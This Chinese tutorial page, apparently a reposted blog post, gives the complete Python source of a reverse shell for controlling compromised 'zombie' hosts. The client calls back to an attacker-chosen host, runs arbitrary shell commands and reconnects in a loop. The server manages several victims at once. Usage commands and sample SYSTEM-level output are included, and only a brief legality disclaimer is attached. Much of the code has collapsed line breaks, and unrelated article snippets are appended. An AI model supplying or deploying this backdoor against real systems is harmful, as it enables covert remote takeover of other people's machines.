Python實例題:Python3實現可控制肉雞的反向Shell

目錄

Python實例題

題目

代碼實現

reverse_shell_client.py

reverse_shell_server.py

實現原理

反向連接機制:

命令執行與傳輸:

功能特點:

關鍵代碼解析

服務端命令處理

客戶端命令執行

客戶端持久化連接

使用說明

啟動服務端:

啟動客戶端(在目標機器上):

服務端操作:

注意事項

合法性:

安全風險:

改進建議:

Python實例題

題目

Python3實現可控制肉雞的反向Shell

代碼實現

reverse_shell_client.py

import socket
import subprocess
import os
import sys
import platform
import threading
import timeclass ReverseShellClient:def __init__(self, server_host, server_port):self.server_host = server_hostself.server_port = server_portself.client = Noneself.connected = Falseself.system_info = f"{platform.system()} {platform.release()} ({platform.machine()})"def connect(self):"""連接到服務端"""try:self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.client.connect((self.server_host, self.server_port))self.connected = True# 發送系統信息self.client.send(self.system_info.encode())print(f"[+] 已連接到服務端: {self.server_host}:{self.server_port}")# 啟動接收命令的線程command_thread = threading.Thread(target=self.receive_commands)command_thread.daemon = Truecommand_thread.start()# 保持主線程運行while self.connected:time.sleep(1)except Exception as e:print(f"[-] 連接失敗: {e}")self.disconnect()def receive_commands(self):"""接收并執行服務端發送的命令"""while self.connected:try:command = self.client.recv(1024).decode()if command.lower() == "exit":self.disconnect()breakif command:# 執行命令并獲取輸出output = self.execute_command(command)# 發送輸出到服務端self.client.send(output.encode())except Exception as e:print(f"[-] 接收命令失敗: {e}")self.disconnect()breakdef execute_command(self, command):"""執行命令并返回輸出"""try:# 處理cd命令if command.startswith("cd "):directory = command[3:].strip()if os.path.exists(directory) and os.path.isdir(directory):os.chdir(directory)return f"已切換到目錄: {os.getcwd()}"else:return f"目錄不存在: {directory}"# 執行其他命令output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)return output.decode(errors="ignore")except Exception as e:return str(e)def disconnect(self):"""斷開與服務端的連接"""self.connected = Falseif self.client:self.client.close()self.client = Noneprint("[+] 已斷開連接")if __name__ == "__main__":if len(sys.argv) != 3:print(f"用法: {sys.argv[0]} <服務端地址> <服務端端口>")sys.exit(1)server_host = sys.argv[1]server_port = int(sys.argv[2])# 持久化連接(嘗試在斷開后重新連接)while True:client = ReverseShellClient(server_host, server_port)client.connect()print(f"[+] 嘗試在10秒后重新連接...")time.sleep(10)    

reverse_shell_server.py

import socket
import threading
import sys
import os
import timeclass ReverseShellServer:def __init__(self, host, port):self.host = hostself.port = portself.server = Noneself.clients = {}  # 存儲已連接的客戶端self.client_id = 0  # 客戶端ID計數器def start(self):"""啟動服務端"""try:self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.server.bind((self.host, self.port))self.server.listen(5)print(f"[+] 服務端已啟動,監聽地址: {self.host}:{self.port}")# 啟動接受客戶端連接的線程accept_thread = threading.Thread(target=self.accept_connections)accept_thread.daemon = Trueaccept_thread.start()# 啟動命令行界面self.command_interface()except Exception as e:print(f"[-] 啟動服務端失敗: {e}")if self.server:self.server.close()sys.exit(1)def accept_connections(self):"""接受客戶端連接"""while True:try:client_socket, client_address = self.server.accept()print(f"[+] 新連接來自: {client_address}")# 為新客戶端分配IDself.client_id += 1client_info = {"socket": client_socket,"address": client_address,"id": self.client_id}self.clients[self.client_id] = client_info# 啟動處理客戶端命令的線程client_thread = threading.Thread(target=self.handle_client, args=(client_info,))client_thread.daemon = Trueclient_thread.start()except Exception as e:print(f"[-] 接受連接失敗: {e}")def handle_client(self, client_info):"""處理客戶端命令和響應"""client_id = client_info["id"]client_socket = client_info["socket"]try:# 獲取客戶端系統信息client_info["system_info"] = client_socket.recv(1024).decode()print(f"[+] 客戶端 {client_id} 系統信息: {client_info['system_info']}")while True:# 如果當前選中該客戶端,則等待命令輸入if self.current_client == client_id:command = input(f"[客戶端 {client_id}] $ ")if command.lower() == "exit":client_socket.send(command.encode())breakif command.lower() == "back":self.current_client = Nonecontinueif command:client_socket.send(command.encode())response = client_socket.recv(4096).decode()print(response)else:# 否則等待一小段時間再檢查time.sleep(0.1)except Exception as e:print(f"[-] 與客戶端 {client_id} 通信失敗: {e}")finally:# 關閉連接并從客戶端列表中移除client_socket.close()if client_id in self.clients:del self.clients[client_id]print(f"[+] 客戶端 {client_id} 連接已關閉")def command_interface(self):"""命令行界面"""self.current_client = Nonewhile True:try:if self.current_client is None:command = input("[主控制臺] $ ").strip().lower()if command == "list":self.list_clients()elif command.startswith("select "):try:client_id = int(command.split()[1])if client_id in self.clients:self.current_client = client_idprint(f"[+] 已選中客戶端 {client_id}")else:print("[-] 無效的客戶端ID")except ValueError:print("[-] 客戶端ID必須是整數")elif command == "exit":# 關閉所有客戶端連接for client_id in list(self.clients.keys()):try:self.clients[client_id]["socket"].send("exit".encode())self.clients[client_id]["socket"].close()except:passdel self.clients[client_id]self.server.close()print("[+] 服務端已關閉")breakelif command == "help":self.print_help()else:print("[-] 未知命令。輸入 'help' 獲取幫助。")except KeyboardInterrupt:print("\n[-] 檢測到Ctrl+C,輸入 'exit' 退出")def list_clients(self):"""列出所有已連接的客戶端"""print("[+] 已連接的客戶端:")print("ID\t地址\t\t系統信息")print("-" * 50)for client_id, client_info in self.clients.items():addr = f"{client_info['address'][0]}:{client_info['address'][1]}"sys_info = client_info.get("system_info", "未知")print(f"{client_id}\t{addr}\t{sys_info}")def print_help(self):"""打印幫助信息"""print("可用命令:")print("  list               - 列出所有已連接的客戶端")print("  select <id>        - 選擇要控制的客戶端")print("  exit               - 退出程序")print("  help               - 顯示此幫助信息")print("\n客戶端控制模式下的命令:")print("  任何命令           - 在客戶端執行命令")print("  back               - 返回主控制臺")print("  exit               - 關閉與客戶端的連接")if __name__ == "__main__":if len(sys.argv) != 3:print(f"用法: {sys.argv[0]} <監聽地址> <監聽端口>")sys.exit(1)host = sys.argv[1]port = int(sys.argv[2])server = ReverseShellServer(host, port)server.start()    

實現原理

這個反向 Shell 工具基于以下核心技術實現:

  • 反向連接機制

    • 客戶端主動連接到服務端
    • 適合在目標主機位于防火墻后或 NAT 設備之后的情況
    • 服務端可以同時管理多個客戶端連接
  • 命令執行與傳輸

    • 服務端發送命令到客戶端
    • 客戶端執行命令并返回結果
    • 使用線程處理多個客戶端連接
  • 功能特點

    • 支持多客戶端管理
    • 獲取客戶端系統信息
    • 支持基本文件操作(cd 命令)
    • 斷線自動重連(客戶端)

關鍵代碼解析

服務端命令處理

def handle_client(self, client_info):client_id = client_info["id"]client_socket = client_info["socket"]try:client_info["system_info"] = client_socket.recv(1024).decode()print(f"[+] 客戶端 {client_id} 系統信息: {client_info['system_info']}")while True:if self.current_client == client_id:command = input(f"[客戶端 {client_id}] $ ")if command.lower() == "exit":client_socket.send(command.encode())breakif command.lower() == "back":self.current_client = Nonecontinueif command:client_socket.send(command.encode())response = client_socket.recv(4096).decode()print(response)else:time.sleep(0.1)except Exception as e:print(f"[-] 與客戶端 {client_id} 通信失敗: {e}")finally:client_socket.close()if client_id in self.clients:del self.clients[client_id]print(f"[+] 客戶端 {client_id} 連接已關閉")

客戶端命令執行

def execute_command(self, command):try:# 處理cd命令if command.startswith("cd "):directory = command[3:].strip()if os.path.exists(directory) and os.path.isdir(directory):os.chdir(directory)return f"已切換到目錄: {os.getcwd()}"else:return f"目錄不存在: {directory}"# 執行其他命令output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)return output.decode(errors="ignore")except Exception as e:return str(e)

客戶端持久化連接

# 持久化連接(嘗試在斷開后重新連接)
while True:client = ReverseShellClient(server_host, server_port)client.connect()print(f"[+] 嘗試在10秒后重新連接...")time.sleep(10)

使用說明

啟動服務端

python3 reverse_shell_server.py 0.0.0.0 9999

啟動客戶端(在目標機器上):

python3 reverse_shell_client.py <服務端IP> 9999

服務端操作

[主控制臺] $ list
[+] 已連接的客戶端:
ID	地址		系統信息
--------------------------------------------------
1	192.168.1.100:54321	Windows 10 (AMD64)[主控制臺] $ select 1
[+] 已選中客戶端 1
[客戶端 1] $ whoami
nt authority\system
[客戶端 1] $ dirVolume in drive C has no label.Volume Serial Number is 1234-5678Directory of C:\Users\Administrator01/01/2023  08:00 AM    <DIR>          .
01/01/2023  08:00 AM    <DIR>          ..
01/01/2023  08:00 AM             1,234 document.txt
...

注意事項

  • 合法性

    • 此工具僅用于合法的安全測試和授權的滲透測試
    • 在使用前必須獲得系統所有者的明確授權
    • 未經授權使用此工具可能違反法律
  • 安全風險

    • 此工具可能被用于惡意目的
    • 請妥善保管,避免未授權訪問
    • 建議在受控環境中測試
  • 改進建議

    • 添加加密通信(SSL/TLS)
    • 實現命令歷史記錄
    • 添加文件上傳 / 下載功能
    • 實現更復雜的權限控制
    • 添加心跳機制檢測連接狀態

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/84425.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/84425.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/84425.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

AWS EC2 使用Splunk DB connect 連接 RDS mysql

1: 先創建 RDS mysql: 我們選擇free: 選擇free 過后,自動生成single instance, 沒有垮AZ 的db 設置。 選擇密碼登入: 注意:上面設置密碼的時候,特別提示:不能有特殊字符,我就設置了: mypassword 下面可以選擇通過EC2 連接,當然也可以不選:

SAP重塑云ERP應用套件

在2025年Sapphire大會上&#xff0c;SAP正式發布了其云ERP產品的重塑計劃&#xff0c;推出全新“Business Suite”應用套件&#xff0c;并對供應鏈相關應用進行AI增強升級。這一變革旨在簡化新客戶進入SAP生態系統的流程&#xff0c;同時為現有客戶提供更加統一、智能和高效的業…

初識 RocketMQ 知識總結:基礎概念、架構解析、核心特性與應用場景

Apache RocketMQ 是一款由阿里巴巴開源的分布式消息中間件&#xff0c;具有高吞吐量、低延遲、高可靠性等特點&#xff0c;廣泛應用于互聯網、金融、電商等領域。以下從多個維度對 RocketMQ 進行全面解析&#xff1a; 一、RocketMQ 基礎概念 1. 定義與定位 分布式消息中間件…

[特殊字符] UI-Trans:字節跳動發布的多模態 UI 轉換大模型工具,重塑界面智能化未來

2025 年&#xff0c;字節跳動&#xff08;ByteDance&#xff09;發布了革命性的多模態 UI 轉換模型 —— UI-Trans&#xff0c;引發了業界廣泛關注。作為一款融合視覺理解、語義分析與用戶交互意圖解析的 AI 工具&#xff0c;UI-Trans 在多個領域展現出強大能力&#xff0c;正在…

這個方法關閉PowerBI賬戶的安全默認值

這個方法關閉PowerBI賬戶的安全默認值 如果PowerBI賬戶是在 2019 年 10 月 22 日當天或之后創建的&#xff0c;則可能會自動啟用安全默認值&#xff0c;登錄賬戶會彈出彈框&#xff0c;如圖&#xff1a; 使用四步就可以關閉此彈框的提示&#xff1a; 第一步&#xff1a;轉到 A…

【Linux】磁盤空間不足

錯誤提示: no space left on device 經典版&#xff08;block占用&#xff09; 模擬 dd if/dev/zero of/var/log/nginx.log bs1M count2000排查 #1. df -h 查看哪里空間不足,哪個分區#2. du -sh詳細查看目錄所占空間 du -sh /* 排查占用空間大的目錄 du -sh /var/* du…

計算機視覺---YOLOv2

YOLOv2講解 一、YOLOv2 整體架構與核心特性 YOLOv2&#xff08;You Only Look Once v2&#xff09;于2016年發布&#xff0c;全稱為 YOLO9000&#xff08;因支持9000類目標檢測&#xff09;&#xff0c;在YOLOv1基礎上進行了多項關鍵改進&#xff0c;顯著提升了檢測精度和速度…

【深度學習】1. 感知器,MLP, 梯度下降,激活函數,反向傳播,鏈式法則

一、感知機 對于分類問題&#xff0c;我們設定一個映射&#xff0c;將x通過函數f(x)映射到y 1. 感知機的基本結構 感知機&#xff08;Perceptron&#xff09;是最早期的神經網絡模型&#xff0c;由 Rosenblatt 在 1958 年提出&#xff0c;是現代神經網絡和深度學習模型的雛形…

IP、子網掩碼、默認網關、DNS

IP、子網掩碼、默認網關、DNS 1. 概述1.1 windows配置處 2.IP 地址&#xff08;Internet Protocol Address&#xff09;2.1 公網ip2.2 內網ip2.3 &#x1f310; 公網 IP 與內網 IP 的關系&#xff08;NAT&#xff09; 3. 子網掩碼&#xff08;Subnet Mask&#xff09;4. 默認網…

Azure 公有云基礎架構與核心服務:從基礎到實踐指南

&#x1f525;「炎碼工坊」技術彈藥已裝填&#xff01; 點擊關注 → 解鎖工業級干貨【工具實測|項目避坑|源碼燃燒指南】 一、基礎概念 Azure 的基礎架構由多個核心組件構成&#xff0c;理解這些概念是掌握其技術框架的第一步&#xff1a; 地理區域&#xff08;Geographic R…

Ajax01-基礎

一、AJAX 1.AJAX概念 使瀏覽器的XMLHttpRequest對象與服務器通信 瀏覽器網頁中&#xff0c;使用 AJAX技術&#xff08;XHR對象&#xff09;發起獲取省份列表數據的請求&#xff0c;服務器代碼響應準備好的省份列表數據給前端&#xff0c;前端拿到數據數組以后&#xff0c;展…

使用防火墻禁止程序聯網(這里禁止vscode)

everything搜一下Code.exe的安裝路徑&#xff1a;D:\downloadApp1\vscode\Microsoft VS Code\Code.exe 方法&#xff1a;使用系統防火墻&#xff08;推薦&#xff09; Windows 通過防火墻阻止 VS Code&#xff1a; 打開 Windows Defender 防火墻&#xff08;控制面板 > 系統…

微信小程序 隱私協議彈窗授權

開發微信小程序的第一步往往是隱私協議授權&#xff0c;尤其是在涉及用戶隱私數據時&#xff0c;必須確保用戶明確知曉并同意相關隱私政策。我們才可以開發后續的小程序內容。友友們在按照文檔開發時可能會遇到一些問題&#xff0c;我把所有的授權方法和可能遇到的問題都整理出…

JVM規范之棧幀

JVM規范之棧幀 前言正文概述局部變量表操作數棧動態鏈接 總結參考鏈接 前言 上一篇文章了解了JVM規范中的運行時數據區&#xff1a; JVM規范之運行時數據區域 其中&#xff0c;棧是JVM線程私有的內存區&#xff0c;棧中存儲的單位是幀&#xff08;frames&#xff09;&#xff…

SGMD辛幾何模態分解

SGMD辛幾何模態分解 運行包含頻譜圖相關系數圖 Matlab語言 算法近幾年剛提出&#xff0c;知網還沒幾個人用&#xff0c;你先用&#xff0c;你就是創新&#xff01; 算法新穎小眾&#xff0c;用的人很少&#xff0c;包含分解圖、頻譜圖、相關系數圖&#xff0c;效果如圖所示&a…

計算機網絡總結(物理層,鏈路層)

目錄 第一章 概述 1.基本概念 2.- C/S模式&#xff0c;B/S模式&#xff0c;P2P模式 3.- LAN,WAN,MAN,PAN的劃分 4.電路交換與分組交換&#xff0c;數據報交換和虛電路交換 第二章 物理層 1.信號編碼&#xff1a;不歸零編碼&#xff0c;曼切斯特編碼 2.幾種復用技術的特…

臺系廠商SSD主控之爭:Phison對決SMI

近日&#xff0c;臺系SSD主控廠商Phison和Silicon Motion之間圍繞主控性能的爭論引發關注&#xff0c;焦點集中在Gen5 SSD的功耗和速度等關鍵指標上。 Phison的E28 Gen5 SSD控制器已推出一段時間&#xff0c;是市場上一些最快存儲設備的“心臟”。其主要競爭對手Silicon Motion…

醫學影像科研概述與研究倫理

關鍵要點 醫學影像科研通過開發和優化影像技術(如X射線、CT、MRI等)推動疾病診斷和治療進步。研究需遵循核心倫理原則:受益(為患者和社會帶來益處)、無害(避免傷害)、自主(尊重患者選擇權)和公正(公平對待參與者)。醫學影像科研的特殊倫理問題包括知情同意、隱私保護…

使用 kafka-console-consumer.sh 指定時間或偏移量消費

1、問題來源 在工作中需要觀察上游生產的數據順序和自己寫的任務處理數據的順序是否一致&#xff0c;嘗嘗需要將kafka中的指定時間或者偏移量開始的數據導出來分析&#xff0c;如果每次都導數據都是從頭開消費導全量&#xff0c;往往少則幾個G多則幾十G的數據&#xff0c;導出…

構建Harbor私有鏡像庫

軟硬件環境清單 環境搭建 部署Euler22.0系統&#xff0c;連接xshell&#xff1a; 關閉防火墻和selinux&#xff0c;設置主機名&#xff1a; systemctl stop firewalld systemctl disable firewalld vi /etc/selinux/config hostnamectl set-hostname harbor reboot 修改靜態…